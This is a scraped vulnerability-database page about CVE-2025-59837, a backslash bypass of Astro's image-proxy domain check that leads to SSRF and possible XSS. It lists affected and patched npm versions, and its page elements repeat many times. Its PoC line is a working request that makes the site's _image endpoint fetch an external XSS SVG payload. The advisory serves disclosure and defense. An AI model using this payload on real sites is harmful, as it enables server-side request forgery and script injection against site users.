N/A

CVSS Score

-

CVSS Score

Basic Information

CVE ID

CVE-2025-59837

GHSA ID

GHSA-qcpr-679q-rhm2

EPSS Score

0.10352%

CWE

CWE-79

Published

10/28/2025

Updated

10/28/2025

KEV Status

Technology

JavaScript

Basic Information

CVE ID

GHSA ID

EPSS Score

CWE

Published

Updated

KEV Status

Technology

Concerned about an active attack path?

Talk to our security experts and see Miggo in action.

Miggo Vulnerability Database

→

CVE-2025-59837

CVE-2025-59837: Astro's bypass of image proxy domain validation leads to SSRF and potential XSS

Summary

This is a patch bypass of CVE-2025-58179 in commit 9ecf359. The fix blocks http://, https:// and //, but can be bypassed using backslashes (\) - the endpoint still issues a server-side fetch.

PoC

https://astro.build/_image?href=\raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg&f=svg

(GitHub Advisory)

Miggo Vulnerability Database

→

CVE-2025-59837

CVE-2025-59837:

N/A

CVSS Score

-

CVSS Score

Basic Information

CVE ID

CVE-2025-59837

GHSA ID

GHSA-qcpr-679q-rhm2

EPSS Score

0.10352%

CWE

CWE-79

Published

10/28/2025

Updated

10/28/2025

KEV Status

Technology

JavaScript

Basic Information

CVE ID

GHSA ID

EPSS Score

CWE

Published

Updated

KEV Status

Technology

Technical Details

CVSS Vector

Package Name	Ecosystem	Vulnerable Versions	First Patched Version
astro	npm	>= 5.13.4, < 5.13.10	5.13.10

Technical Details

Vulnerability Intelligence
Miggo AI

Root Cause Analysis:

In progress

WAF Protection Rules

WAF Rule

W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.

Reasoning

*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.

N/A

-

Basic Information

Basic Information

Concerned about an active attack path?

CVE-2025-59837: Astro's bypass of image proxy domain validation leads to SSRF and potential XSS

Summary

PoC

CVE-2025-59837:

N/A

-

Basic Information

Basic Information

Technical Details

Technical Details

Vulnerability IntelligenceMiggo AI

WAF Protection Rules

WAF Rule

Reasoning

Vulnerability IntelligenceMiggo AI

Vulnerability IntelligenceMiggo AI

WAF Protection Rules

WAF Rule

Reasoning

Basic Information

Basic Information

CVE-2025-59837: Astro's bypass of image proxy domain validation leads to SSRF and potential XSS

Summary

PoC

N/A

N/A

Technical Details

Vulnerability Intelligence
Miggo AI

Vulnerability Intelligence
Miggo AI

Vulnerability Intelligence
Miggo AI